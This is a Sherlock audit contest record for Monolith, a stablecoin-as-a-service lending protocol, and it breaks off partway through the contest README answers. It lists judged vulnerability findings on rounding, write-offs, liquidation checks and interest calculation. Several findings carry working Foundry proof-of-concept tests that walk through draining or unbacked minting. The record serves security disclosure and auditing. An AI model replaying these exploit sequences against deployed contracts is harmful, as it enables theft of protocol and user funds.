{"languages":[],"update_nsloc":null,"token":"USDC","is_judging_v3":true,"lead_judge_avatar_url":"https://sherlock-files.ams3.digitaloceanspaces.com/profile_images/03a27321-25ab-4b50-a530-e31116236a24.png","calc_completed":true,"judging_stopped_at":1771939253,"report":"# Issue H-1: User can abuse rounding issue in order to borrow unbacked tokens \n\nSource: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/734 \n\n## Found by \n0xc0ffEE, Audittens, SOPROBRO, Uddercover, Valves, bughuntoor, dandan, deadmanwalking, songyuqi, wickie\n\n### Summary\n\nUsing multiple steps, user can abuse a rounding issue to borrow unbacked tokens. First, using the `redeem` method, the user can inflate the `freeShares/ freeDebt` ratio. When it exceeds 1e9 it debases by 1e18. However, the user can simply do debts of higher than 1e18, and redeeming all but 1 wei, basically inflating the ratio even after the debasement.\n\n```solidity\n        if (totalFreeDebtShares / totalFreeDebt > 1e9) {\n            epoch++;\n            totalFreeDebtShares = totalFreeDebtShares.mulDivUp(1e18, 1e36);\n            emit NewEpoch(epoch);\n        }\n```\n\nUsing this, the user can obtain a really large amount of debt shares (such as 1e32). \nThen, it is important to know that each user's debt is rounded up. So if we have two users and all but 1 wei is redeemed, both user's personal debts will be 1.\n\nSo if the user has large amount of debt shares on 1 wallet, and debt on another wallet, they can redeem all but 1 wei and both wallets will still have debt. Then, the user can repay the debt on the 2nd wallet, which would make the `totalFreeDebt == 0` while `totalFreeDebtShares == 1e32`. Then, they can go on a third wallet and make a new borrow. Since `totalFreeDebt` is 0, debt shares will be minted 1:1 \n\n```solidity\n    function increaseDebt(address account, uint256 amount) internal {\n        if (isRedeemable[account]) {\n            // Handle free debt\n            uint256 shares = totalFreeDebt == 0 ? amount : amount.mulDivUp(totalFreeDebtShares, totalFreeDebt);\n```\n\nThis means that a user can make a borrow for 1e27 ($1b) and they'll receive 1e27 shares. However, total shares are >1e32, so the newly minted debt shares will be worth only `1e27 * 1e27 / 1e32 = 1e22` debt, effectively allowing the user to mint $1b out of thin air.\n\nNote that the attack can be performed at any time, as even if there are active free debt users, user can simply redeem them and perform the attack.\n\n### Root Cause\n\nRounding issue.\n\n### Affected Code\nhttps://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L606\n\n### Attack Path\n\nCheck PoC\n\n### Impact\n\nDraining of all funds\n\n### PoC\n\n```solidity\n        function test_drain() public {\n            address user = address(1);\n\n            ERC20Mock collateral = ERC20Mock(address(lender.collateral()));\n            ERC20Mock coin = ERC20Mock(address(lender.coin()));\n\n            vm.startPrank(user);\n            collateral.mint(user, 1e40);\n            coin.mint(user, 1e40);\n            collateral.approve(address(lender), type(uint256).max);\n            coin.approve(address(lender), type(uint256).max);\n\n            lender.setRedemptionStatus(user, true);\n\n            for (uint256 i; i < 7; i++) {\n                lender.adjust(user, 1e23, 1e22);\n                uint256 totalFreeDebt = lender.totalFreeDebt();\n                lender.redeem(totalFreeDebt - 1, 0);\n            }\n\n            lender.adjust(user, 1e23, 1e22);\n\n            address user2 = address(2);\n            collateral.mint(user2, 1e23);\n            vm.startPrank(user2);\n            collateral.approve(address(lender), type(uint256).max);\n            lender.setRedemptionStatus(user2, true);\n            lender.adjust(user2, 1e23, 1e22);\n\n            vm.startPrank(user);\n\n            uint256 totalFreeDebt = lender.totalFreeDebt();\n            coin.mint(user, totalFreeDebt);\n\n            lender.redeem(totalFreeDebt - 1, 0);\n\n            console.log(\"%e\", lender.totalFreeDebtShares());\n            console.log(lender.totalFreeDebt());\n\n            vm.startPrank(user2);\n            coin.approve(address(lender), type(uint256).max);\n            lender.adjust(user2, 0, -1);\n\n            console.log(\"%e\", lender.totalFreeDebtShares());\n            console.log(lender.totalFreeDebt());\n            \n            vm.startPrank(user2);\n            // user2 has ~1e22 collateral, but is able to borrow 1e27;\n            lender.adjust(user2, 0, 1e27);\n            uint256 debt = lender.getDebtOf(user2);\n            console.log(\"debt %e\", debt); // user borrowed 1e27, but has only 1e22 debt\n\n        }\n```\nLogs:\n```javascript\n[PASS] test_drain() (gas: 1138922)\nLogs:\n  2.00000002000200020002050200020101e32\n  1\n  1.00000001000100010001030100010101e32\n  0\n  debt 9.999899900991990170185e21\n```\n\n\n\n\n### Mitigation\n\nfix is non-trivial.\n\n# Issue M-1: If there's only a single user which has reached a state with bad debt, anyone can mint unbacked tokens. \n\nSource: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/732 \n\n## Found by \n0x97, 0xnija, 0xpiken, DSbeX, Draxen, Edoscoba, JuggerNaut, PowPowPow, Riceee, SnowX, Valves, bughuntoor, cyberEth, deadmanwalking, flora2627, frustramatic, jayjoshix, jo13, legalwarden50, legat, n0fr33w1f14u, neeloy, piyushmali, securehash1, zach223\n\n### Summary\n\nWhen a user has reached bad debt state, they should be cleared with `writeOff`. The function removes their debt and socializes it within the remaining borrowers and sends the written off user's collateral to a recipient set by the caller.\n\n```solidity\n                uint256 totalDebt = totalFreeDebt + totalPaidDebt;\n                if (totalDebt > 0) {\n                    uint256 freeDebtIncrease = debt * totalFreeDebt / totalDebt;\n                    uint256 paidDebtIncrease = debt - freeDebtIncrease;\n\n                    totalFreeDebt += freeDebtIncrease;\n                    totalPaidDebt += paidDebtIncrease;\n                }\n\n                if (!isRedeemable[borrower]) nonRedeemableCollateral -= collateralBalance;\n                _cachedCollateralBalances[borrower] = 0;\n\n                // Convert to token decimals for transfer (rounds down)\n                uint256 collateralAmount = internalToCollateral(collateralBalance);\n                emit WrittenOff(borrower, to, debt, collateralAmount);\n                writtenOff = true;\n\n                // 3. send collateral to caller\n                collateral.safeTransfer(to, collateralAmount);\n            }\n```\n\nThe problem is that this can be abused in case that bad debt borrower is the only paid borrower or the only free debt borrower.\n\nAs the collateral is received, but the debt is redistributed, the user can open a new position on new wallet for 1/100th of the written off debt. Then they'll writeoff their first wallet, transferring the debt and turning the new wallet underwater. But they then can repeat the process, getting their collateral back each time.\n\nFor example if there's $100k of bad debt to be distributed, user opens a new borrow for $1k collateral, $500 debt, writes off first wallet, then debt is moved and writes of the 2nd wallet, effectively receiving the $500 debt for free. They can repeat this endlessly to mint as much of the tokens as they wish.\n\nIn case there are other free debt borrowers, the user can just fully redeem them before performing this action in order to make sure they can drain the contract.\n\n### Root Cause\n\nAllowing to write off when user's collateral is above 0.\n\n### Internal Pre-conditions\n\nA user should have bad debt.\n\n### Affected Code\nhttps://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L431\n\n### Attack Path\n\nCheck PoC\n\n### Impact\n\nDrain\n\n### PoC\n\n```solidity\n    function test_writeoffIssue() public { \n        address user = address(1);\n\n        ERC20Mock collateral = ERC20Mock(address(lender.collateral()));\n        ERC20Mock coin = ERC20Mock(address(lender.coin()));\n        FeedMock feed = FeedMock(address(lender.feed()));\n\n        vm.startPrank(user);\n        collateral.mint(user, 1e25);\n        coin.mint(user, 1e25);\n        collateral.approve(address(lender), type(uint256).max);\n        coin.approve(address(lender), type(uint256).max);\n\n        lender.adjust(user, 1_000_000e18, 500_000e18);\n\n        feed.setPrice(0.25e18); // $250k bad debt\n\n        address user2 = address(2);\n        address user3 = address(3);\n\n        collateral.mint(user2, 1e25);\n        collateral.mint(user3, 1e25);\n        coin.mint(user2, 1e25);\n\n        vm.startPrank(user2);\n        collateral.approve(address(lender), type(uint256).max);\n        coin.approve(address(lender), type(uint256).max);\n        lender.adjust(user2, 8000e18, 1000e18);\n\n        for (uint i; i < 3; i++) {\n            lender.liquidate(user, 400_000e18, 0);\n        }\n\n        vm.startPrank(user3);\n        collateral.approve(address(lender), type(uint256).max);\n        lender.setRedemptionStatus(user3, true);    // we need to set one user to free debt and other to paid debt\n\n        uint256 collateralBalPre = collateral.balanceOf(user2) + collateral.balanceOf(user3);\n        uint256 coinBalPre = coin.balanceOf(user2) + coin.balanceOf(user3);\n\n        for (uint i; i < 50; i++) {\n            address lenderUser = i % 2 == 0 ? user3 : user2;\n            address writtenOff = i % 2 == 0 ? user2 : user3;\n\n            vm.startPrank(lenderUser);\n            lender.adjust(lenderUser, 8100e18, 1000e18);\n\n            lender.writeOff(writtenOff, lenderUser);\n\n            if (i == 49) lender.writeOff(lenderUser, lenderUser);\n        }\n\n        uint256 collateralAfter = collateral.balanceOf(user2) + collateral.balanceOf(user3);\n        uint256 coinBalAfter = coin.balanceOf(user2) + coin.balanceOf(user3);\n\n        console.log(\"collateral received %e\", collateralAfter - collateralBalPre);      // user has received back their 8e21 collateral\n        console.log(\"coin received %e\", coinBalAfter - coinBalPre );           // user is in $50k profit\n\n    }\n\n```\n\n\n### Mitigation\n\nOnly allow writeoff is user collateral is 0 (or dust)\n\n# Issue M-2: Inconsistency in position health checks will lead to the incorrect user liquidations \n\nSource: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/810 \n\n## Found by \n0rpse, 0xSomeHuntoor, 0xTarnished, 0xc0ffEE, 0xeix, 0xnightswatch, 0xpiken, Aasif, AlexCzm, Bobai23, CovenantGuard\\_Sec, Hemakhi, KrisRenZo, Le\\_Rems, LonWof-Demon, Nyxx, Riceee, X0sauce, ZafiN, air\\_0x, algiz, coffiasd, deadmanwalking, futureHack, itsgreg, nodesemesta, queen, typicalHuman, yaioxy\n\n### Summary\n\nThe protocol checks account's health differently in `liquidate()` and in `adjust()` functions creating a situation where one function shows that a position is healthy while the other one allows for liquidation.\n\n### Root Cause\n\nThe root cause is the difference in checks between `liquidate()` and `adjust()`.\n\n### Internal Pre-conditions\n\n-\n\n### External Pre-conditions\n\n-\n\n### Attack Path\n\nUsers call `adjust()` - at the end of the call, the position health is checked and it allows for the borrowing power to be >= than the debt. However, the checks in the `getLiquidatableDebt()` require for the `borrowingPower` to be strictly > debt.\n\n### Impact\n\nPosition is liquidatable even when it's healthy.\n\n### PoC\n\nLet's take a look at the check in the `adjust()` function:\n\nhttps://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L321-322\n```solidity\n   uint borrowingPower = price * _cachedCollateralBalances[account] * collateralFactor / 1e18 / 10000;\n        require(debtBalance <= borrowingPower, \"Solvency check failed\");\n```\n\nIt can be seen that the `debtBalance` is checked against `borrowingPower` with <= sign allowing for the full equality between them. Now, the logic in the `getLiquidatableDebt()` makes the opposite:\n\nhttps://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L669-670\n```solidity\n        uint borrowingPower = price * collateralBalance * collateralFactor / 1e18 / 10000;\n        if(borrowingPower > debt) return 0;\n```\n\nSo it requires for the `borrowingPower` to be exactly greater than the debt. It basically means that if `borrowingPower` == `debt`, then `adjust()` will show the position as healthy while the `liquidate()` will allow the liquidation.\n\n### Mitigation\n\n```diff\n+uint borrowingPower = price * collateralBalance * collateralFactor / 1e18 / 10000;\n+if(borrowingPower >= debt) return 0;\n\n```\n\n# Issue M-3: EIP violation for `totalAssets()` in the `Vault` \n\nSource: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/820 \n\nThis issue has been acknowledged by the team but won't be fixed at this time.\n\n## Found by \n0xeix, axelot, desaperh, magickenn, typicalHuman\n\n### Summary\n\nAccording to the contest README:\n\n```solidity\nIssues that break the EIP's MUST statements may be deemed valid Medium severity (even if the violation is in view functions and doesn't impact state functions) even if the impact is low/info, unless they conflict with common sense.\n```\n\nBut `totalAssets()` can revert because of its call to `getPendingInterest()` function.\n\n### Root Cause\n\n[EIP4626](https://eips.ethereum.org/EIPS/eip-4626) has the following statement regarding `totalAssets()`:\n\n```solidity\n MUST NOT revert\n```\n\nHowever, it's not respected in the current implementation.\n\n### Internal Pre-conditions\n\n-\n\n### External Pre-conditions\n\n-\n\n### Attack Path\n\n`totalAssets()` function in the `Vault` calls `getPendingInterest()` in the `Lender` contract that, in its turn, calls `calculateInterest()` inside of the try/catch mechanism meaning the function is prone to reverts due to different errors (like division by zero or some other type of error) and, inside of the catch block, the function checks whether the call was with sufficient gas:\n\nhttps://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L908-910\n```solidity\n  } catch {\n            require(gasBefore >= INTEREST_CALCULATION_GAS_REQUIREMENT, \"Not enough gas for accrueInterest\");\n        }\n```\n\nThe value is set to 40000 gas and it won't have to require that amount if it didn't happen to revert in the first place. So if users doesn't provide more gas than estimated by RPC, the call will revert.\n\n### Impact\n\nEIP violation -> medium severity.\n\n### PoC\n\nProvided in the attack path.\n\n### Mitigation\n\nChange the implementation so that `totalAssets()` can't revert.\n\n# Issue M-4: Accounting will be broken if a user redeems when there is a bad debt position \n\nSource: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/1127 \n\n## Found by \n0xnija, DevBear0411, Edoscoba, Proof-of-Spirit, blockace, bughuntoor, deadmanwalking, future, gabkov, itsabinashb, legat, neeloy, touristS, xiaoming90, zcai\n\n### Summary\n\nWhen redeeming, a user repays part of everyone's debt and also gets a proportional part of their collateral. The problem is that in case there's a position in bad debt and a user redeems, accounting will account for redeeming more collateral from that user than they have. This would effectively allow users to redeem non-redeemable collateral and would leave some users impossible to withdraw their funds.\n\n```solidity\n       // repay on behalf of free debtors\n        totalFreeDebt -= amountIn;\n        coin.transferFrom(msg.sender, address(this), amountIn);\n        coin.burn(amountIn);\n\n        // distribute collateral redemption per free debt share (in internal representation)\n        epochRedeemedCollateral[epoch] += internalAmountOut.mulDivUp(1e36, totalFreeDebtShares);\n```\n\nAssume the following situation - there's two free debt borrowers, one has $500k collateral and $1m debt and other one has $1m collateral and $100k debt. Another user can come and make a redeem for $1.1m and will receive $1.1m collateral. Since the 2nd user only has $100k debt, they should be left with $900k collateral. However, the remaining collateral in the Lender contract would be just $400k. There would be a shortcut of $500k collateral in the contract.\n\n### Root Cause\n\nWrong logic \n\n### Internal Pre-conditions\n\nBad debt\n\n### Affected Code\nhttps://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L463\n\n### Attack Path\n\nCheck PoC \n```solidity\n    function test_breakAccounting() public { \n        address user = address(1);\n        address user2 = address(2);\n\n        ERC20Mock collateral = ERC20Mock(address(lender.collateral()));\n        ERC20Mock coin = ERC20Mock(address(lender.coin()));\n        FeedMock feed = FeedMock(address(lender.feed()));\n\n        vm.startPrank(user);\n        collateral.mint(user, 1e40);\n        coin.mint(user, 1e40);\n        collateral.approve(address(lender), type(uint256).max);\n        coin.approve(address(lender), type(uint256).max);\n\n        lender.setRedemptionStatus(user, true);\n        lender.adjust(user, 1_000_000e18, 500_000e18);\n\n        vm.startPrank(user2);\n        collateral.mint(user2, 1_000_000e18);\n        collateral.approve(address(lender), type(uint256).max);\n        lender.setRedemptionStatus(user2, true);\n        lender.adjust(user2, 1_000_000e18, 0);\n\n        feed.setPrice(0.25e18); // $250k bad debt\n\n        vm.startPrank(user);\n        lender.redeem(500_000e18 - 1, 0);\n\n        vm.startPrank(user2);\n        vm.expectRevert();\n        lender.adjust(user2, -1_000_000e18, 0);\n\n    }\n```\n\n\n### Impact\n\nLoss of funds, broken invariants, user cannot withdraw their funds. \n\n### PoC\n\n```solidity\n    function test_breakAccounting() public { \n        address user = address(1);\n        address user2 = address(2);\n\n        ERC20Mock collateral = ERC20Mock(address(lender.collateral()));\n        ERC20Mock coin = ERC20Mock(address(lender.coin()));\n        FeedMock feed = FeedMock(address(lender.feed()));\n\n        vm.startPrank(user);\n        collateral.mint(user, 1e40);\n        coin.mint(user, 1e40);\n        collateral.approve(address(lender), type(uint256).max);\n        coin.approve(address(lender), type(uint256).max);\n\n        lender.setRedemptionStatus(user, true);\n        lender.adjust(user, 1_000_000e18, 500_000e18);\n\n        vm.startPrank(user2);\n        collateral.mint(user2, 1_000_000e18);\n        collateral.approve(address(lender), type(uint256).max);\n        lender.setRedemptionStatus(user2, true);\n        lender.adjust(user2, 1_000_000e18, 0);\n\n        feed.setPrice(0.25e18); // $250k bad debt\n\n        vm.startPrank(user);\n        lender.redeem(500_000e18 - 1, 0);\n\n        vm.startPrank(user2);\n        vm.expectRevert();\n        lender.adjust(user2, -1_000_000e18, 0);\n\n    }\n```\n\n\n### Mitigation\n\nfix is non-trivial\n\n# Issue M-5: Incorrect interest calculation \n\nSource: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/1185 \n\n## Found by \n00001111, 0xShoonya, 0xeix, 0xl33, 0xnija, 0xodus, Albert\\_Mei, Audittens, BroRUok, ChainProof, ChaosSR, Edoscoba, Harry-Elite, Himanshu772005, JeRRy0422, Le\\_Rems, M1troV, Matin, Sparrow\\_Jac, Varun\\_05, X0sauce, ZeroEx, algiz, axelot, bbl4de, blockace, cholakovvv, coin2own, d33p, dantehrani, dic0de, emmanuel\\_ewah, gabkov, ibrahimatix0x01, itsgreg, jayjoshix, m3dython, neeloy, rubencrxz, securehash1, tedox, touristS, v\\_2110, xiaoming90, xxiv, zcai\n\n### Summary\n\nN/A\n\n### Root Cause\n\nN/A\n\n### Internal Pre-conditions\n\nN/A\n\n### External Pre-conditions\n\nN/A\n\n### Attack Path\n\nIt was observed that the piecewise integral formula in Line 49 below is incorrect when `_lastRate > MIN_RATE`.\n\nhttps://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/InterestModel.sol#L49\n\n```solidity\nFile: InterestModel.sol\n20:     function calculateInterest(\n..SNIP..\n40:             if (currBorrowRate < MIN_RATE) {\n41:                 currBorrowRate = MIN_RATE;\n42:                 // calculate integral\n43:                 if (_lastRate <= MIN_RATE) {\n44:                     // Already at min rate, just use flat rate for entire period\n45:                     interest = _totalPaidDebt * MIN_RATE * _timeElapsed / 365 days / 1e18;\n46:                 } else {\n47:                     uint timeToMin = uint(-wadLn(int(MIN_RATE * 1e18 / _lastRate))) / _expRate;\n48:                     // Decaying integral up to min rate, then add flat rate portion\n49:                     interest = _totalPaidDebt * ((_lastRate - MIN_RATE) / _expRate + \n50:                               MIN_RATE * (_timeElapsed - timeToMin)) / 365 days / 1e18;\n51:                 }\n..SNIP..\n```\n\nThe formula for Line 49 is as follows:\n\n```math\nI=D \\cdot(\\underbrace{\\frac{r_{\\text {old }}-r_{\\min }}{k}}_{\\text {exp segment }}+\\underbrace{r_{\\min }\\left(d t-t_{\\min }\\right)}_{\\text {flat segment }}) / 365 d\n```\n\nWhere:\n\n- $r_{old}$ is `_lastRate` (in WAD/1e18)\n- $r_{min}$ is `MIN_RATE` (in WAD/1e18)\n- $k$ is `_expRate` (in WAD/1e18)\n- $t_{min}$ is in seconds\n- $D$ is `_totalPaidDebt`, and $I$ is `interest`\n\nThe first term of the code gives:\n\n```solidity\nA = (_lastRate - MIN_RATE) / _expRate;\n```\n\n\n\n```math\nA=\\frac{\\left(1 e 18r_{o l d}-1 e 18r_{\\min }\\right)}{1 e 18 k} =\\frac{1 e 18\\left(r_{o l d}-r_{\\min }\\right)}{1 e 18 k}=\\frac{\\left(r_{o l d}-r_{\\min }\\right)}{k} \\text { seconds}\n```\n\nThe second term of the code gives:\n\n```solidity\nB = MIN_RATE * (_timeElapsed - timeToMin);\n```\n\n```math\nB=1 e 18 r_{\\min }\\left(d t-t_{\\min }\\right) .\n```\n\nThe correct integral (in terms of these) is:\n- Exp part:    `A`\n- Flat part:   `B / 1e18`\n\nSo:\n\n```math\n\\int_0^{d t}{APR}(t) d t=A+\\frac{B}{1 e 18}\n```\n\nHence interest should be:\n\n```solidity\ninterest = _totalPaidDebt * (A + B / 1e18) / 365 days;\n```\n\nBut the code does:\n\n```solidity\ninterest = _totalPaidDebt * (A + B) / 365 days / 1e18;\n```\n\nWhich equals:\n\n```math\nI_{\\text {code }}=\\frac{D}{365 d \\cdot 1 e 18}(A+B)=\\underbrace{\\frac{D A}{365 d \\cdot 1 e 18}}_{\\text {exp part }}+\\underbrace{\\frac{D B}{365 d \\cdot 1 e 18}}_{\\text {flat part }} .\n```\n\nCompare to the target:\n\n```math\nI_{\\mathrm{true}}=\\frac{D A}{365 d}+\\frac{D B}{365 d \\cdot 1 e 18}\n```\n\n- The flat part `B` is correct (both have `B/(365d*1e18)`)\n- The exponential part (`A`) is off by a factor of `1e18` (`DA/(365d*1e18)` vs `DA/(365d)`)\n\nSo when the rate decays from `_lastRate` down to `MIN_RATE`, the entire exponential segment\u2019s contribution to interest is effectively divided by 1e18 (almost completely lost). In other words, the code is effectively doing is dropping (or near-zeroing) the exponential-decay integral and only charging the floor portion after crossing $r_{\\min}$.\n\nAssume that:\n- `lastRate = 50% APR`, `MIN_RATE = 0.5% APR`,\n- `halfLife = 7 days`,\n- `timeElapsed = 60 days` (so we cross the floor),\n- `totalPaidDebt = 1,000,000`\n\nResult:\n- Correct math interest \u2248 13,880 Coin.\n- Current code interest \u2248 185 Coin (\u22481.3% of the correct amount).\n\n### Impact\n\nHigh. Loss of interests/yields as the interest is undercalculated.\n\n### PoC\n\n_No response_\n\n### Mitigation\n\n_No response_\n\n# Issue M-6: Interest accrual can get stuck when `wadExp()` underflows to 0 causing division-by-zero \n\nSource: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/1202 \n\n## Found by \n0xMosh, 0xShoonya, 0xSpider\\_Raphl, 0xeix, 0xlucky, 0xnija, 4vian, Ba17, Cryptek\\_Megatron, Edoscoba, HeckerTrieuTien, JohnWeb3, MissDida, Proof-of-Spirit, Sir\\_Shades, Yuubee, algiz, arunabha003, blockace, bratwork, copperscrewer, cosin3, cyberEth, deadmanwalking, dic0de, emmanuel\\_ewah, flora2627, fullstop, future, heavyw8t, itsgreg, neeloy, slowpoke, tedox, teoslaf1, vivekd, xiaoming90\n\n### Summary\n\nN/A\n\n### Root Cause\n\nN/A\n\n### Internal Pre-conditions\n\nN/A\n\n### External Pre-conditions\n\nN/A\n\n### Attack Path\n\nThe `InterestModel.calculateInterest()` function computes an exponential factor using Solmate's `wadExp()` function:\n\nhttps://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/InterestModel.sol#L33\n\n```solidity\nFile: InterestModel.sol\n20:     function calculateInterest(\n..SNIP..\n33:         uint growthDecay = uint(wadExp(-int(_expRate * _timeElapsed)));\n```\n\n[Solmate\u2019s `wadExp()`](https://github.com/transmissions11/solmate/blob/80d48c6f466a02458dad94ac72e19d0d3b51ca64/src/utils/SignedWadMath.sol#L106) explicitly returns `0` for sufficiently large negative inputs (`-42e18`). Refer to the comment below.\n\n```solidity\nfunction wadExp(int256 x) pure returns (int256 r) {\n    unchecked {\n        // When the result is < 0.5 we return zero. This happens when\n        // x <= floor(log(0.5e18) * 1e18) ~ -42e18\n        if (x <= -42139678854452767551) return 0;\n        ...\n    }\n}\n```\n\nWhen `_timeElapsed` is large enough, `-int(_expRate * _timeElapsed)` becomes small enough (very negative) that `wadExp(...)` returns `0`, so `growthDecay == 0`.\n\nIn the \"below target\" branch (`_lastFreeDebtRatioBps < _targetFreeDebtRatioStartBps`), the code divides by `growthDecay` in Line 36 below:\n\nhttps://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/InterestModel.sol#L36\n\n```solidity\nFile: InterestModel.sol\n20:     function calculateInterest(\n..SNIP..\n33:         uint growthDecay = uint(wadExp(-int(_expRate * _timeElapsed)));\n34:         \n35:         if (_lastFreeDebtRatioBps < _targetFreeDebtRatioStartBps) {\n36:             currBorrowRate = _lastRate * 1e18 / growthDecay;\n37:             interest = _totalPaidDebt * (currBorrowRate - _lastRate) / _expRate / 365 days;\n38:         } else if (_lastFreeDebtRatioBps > _targetFreeDebtRatioEndBps) {\n```\n\nSo once `growthDecay` becomes `0`, this branch reverts with a division-by-zero.\n\nThis revert is caught in `Lender.accrueInterest()` via `try/catch`. If enough gas was provided, the catch block does not revert and instead silently skips accrual:\n\nhttps://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L202\n\n```solidity\nFile: Lender.sol\ntry interestModel.calculateInterest(...) returns (...) {\n    ... // normal accrual + lastAccrue update\n} catch {\n    require(gasBefore >= INTEREST_CALCULATION_GAS_REQUIREMENT, \"Not enough gas for accrueInterest\");\n    // No state update here => accrual skipped\n}\n```\n\nBecause `lastAccrue` is only updated on the successful path, it stays stale. That means `timeElapsed = block.timestamp - lastAccrue` remains large, and future calls keep hitting the same `wadExp` underflow and division-by-zero revert.\n\nIn practice, this can create a persistent \"interest accrual stuck\" state whenever the system stays in the \"below target\" regime.\n\nConsider the following scenario:\n\nThe codebase allows the operator/manager to set `halfLife` as low as 12 hours (43,200s). Assume that the operator set the `halfLife` to 12 hours.\n\nhttps://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L915\n\n```solidity\nFile: Lender.sol\n915:     function setHalfLife(uint64 halfLife) external onlyOperatorOrManager beforeDeadline {\n916:         accrueInterest();\n917:         require(halfLife >= 12 hours && halfLife <= 30 days, \"Invalid half life\");\n918:         expRate = uint64(uint(wadLn(2*1e18)) / halfLife);\n919:         emit HalfLifeUpdated(halfLife);\n920:     }\n```\n\nNow assume:\n\n- The system has mostly/only paid debt so the free debt ratio is below `targetFreeDebtRatioStartBps` (i.e., it remains in the \"below target\" branch).\n- No one calls any function that successfully updates `lastAccrue` for about `2,626,332` seconds (\u2248 30 days)\n\nWhen someone finally calls `accrueInterest()`:\n\n- `expRate` is computed as: `expRate = wadLn(2e18) / 43,200s = 16045073624072`\n- `_timeElapsed \u2248 2,626,332s`\n- `wadExp(-int(_expRate * _timeElapsed))` returns `0` (per Solmate\u2019s documented behavior above) as `-int(_expRate * _timeElapsed)` = `-42139690301256263904`\n- `growthDecay == 0`\n- `currBorrowRate = _lastRate * 1e18 / 0` reverts inside `InterestModel.calculateInterest()`\n- `Lender.accrueInterest()` catches the revert and skips accrual without updating `lastAccrue`\n- since `lastAccrue` is still old, the next call sees the same (or larger) `_timeElapsed`, and the failure repeats as long as the system remains \"below target\"\n\n### Impact\n\nHigh. Interest accrual can become effectively DOSed. As a result, paid borrowers stop accruing interest and vault stakers stop receiving yield minted from borrower interest.\n\nIn addition, this also violates the stated invariant that interest \u201cmust always accrue correctly based on time elapsed and current rate\u201d in the [Contest's README](https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-xiaoming9090?tab=readme-ov-file#q-what-propertiesinvariants-do-you-want-to-hold-even-if-breaking-them-has-a-lowunknown-impact).\n\n### PoC\n\n_No response_\n\n### Mitigation\n\n_No response_\n\n","bug_bounty_contest":false,"template_repo_name":"sherlock-audit/2025-12-monolith-stablecoin-factory","escalation_started_at":1767731175,"id":1212,"lead_senior_auditor_handle":"bughuntoor","status":"FINISHED","rewards":35500,"starts_at":1765206000,"scope":[{"repo":"MonolithMarket/Monolith","branch_name":"main","commit_hash":"b36e9ef05df4c3f047dc1fed48a982dc97efc8d7","total_nsloc":1091,"files":[{"name":"src/Coin.sol","nsloc":15},{"name":"src/Factory.sol","nsloc":165},{"name":"src/InterestModel.sol","nsloc":33},{"name":"src/Lender.sol","nsloc":735},{"name":"src/Lens.sol","nsloc":70},{"name":"src/Vault.sol","nsloc":73}]}],"judging_docs_hash":"8171fa85899ed47e6a41c77d7ffded193d714b5e","allows_signups":false,"is_legacy_contest":false,"uses_live_issues":true,"first_blood_pool":1000,"num_competition_issues":1433,"escalation_ends_at":1767817575,"requires_kyc":true,"is_best_efforts":false,"type_label":"Public","is_judging_visible":false,"lead_senior_auditor_avatar_url":"https://sherlock-files.ams3.digitaloceanspaces.com/profile_images/defaults/default_avatar_4.png","lead_judge_handle":"KungFuPanda","short_description":"Monolith is a stablecoin-as-a-service platform being launched by Inverse Finance, enabling permissionless creation of immutable, over-collateralized stablecoins using any collateral with an on-chain price feed. Monolith's design features interest-bearing vaults for stablecoin holders, autonomous interest rate controllers, and deployer fee access, all optimized for security, scalability, and cross-chain expansion.","lead_senior_auditor_fixed_pay":6500,"context_questions":[{"question":"On what chains are the smart contracts going to be deployed?","answer":"Ethereum Mainnet","order":1},{"question":"If you are integrating tokens, are you allowing only whitelisted tokens to work with the codebase or any complying with the standard? Are they assumed to have certain properties, e.g. be non-reentrant? Are there any types of [weird tokens](https://github.com/d-xo/weird-erc20) you want to integrate?","answer":"Monolith allows permissionless deployment with any ERC20 token that has a valid Chainlink price feed. The PSM feature supports both standard ERC20 tokens and ERC4626 vault tokens.\n\nFor collateral tokens:\nMust have a reliable Chainlink oracle (the denominator is expected to be a fiat currency whose price is a few orders of magnitude of the USD price (e.g. Euro, Turkish Lira, Russian Ruble), and the oracle has to exist on the Ethereum mainnet).\nCan be any ERC20-compliant token (6-18 decimals)\nERC4626 tokens are supported for PSM yield generation\n\nKnown restrictions:\nFee-on-transfer tokens are not supported\nRebasing tokens are not supported in the current version\nERC777 tokens may present reentrancy risks (addressed via checks-effects-interactions pattern)\nCollateral tokens with very large amount of decimals or very small amount of decimals may cause exacerbated rounding errors\nSynthetic asset oracles with a very large price per token may cause exacerbated rounding errors or not work well with the global minimum debt floor\n\nOnly standard ERC20 tokens (with 6-18 decimals) are expected to be in scope.","order":2},{"question":"Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths?","answer":"Operator role (set at deployment, mutable before immutability deadline):\nTrusted to set reasonable parameters before the immutability deadline\nTrusted to deploy Monolith coin with a safe oracle and collateral\nTrusted to deploy Monolith coin with safe parameters\nCan adjust: collateral factor, liquidation parameters, redemption fees, PSM fees, interest rate model parameters\nCannot change core protocol logic after immutability deadline\n\nFactory owner:\nTrusted role\nSets global parameters like minimum debt floor\n\nPost-immutability deadline:\nNo admin can modify protocol parameters\nProtocol becomes fully immutable except for fees\n\nKey 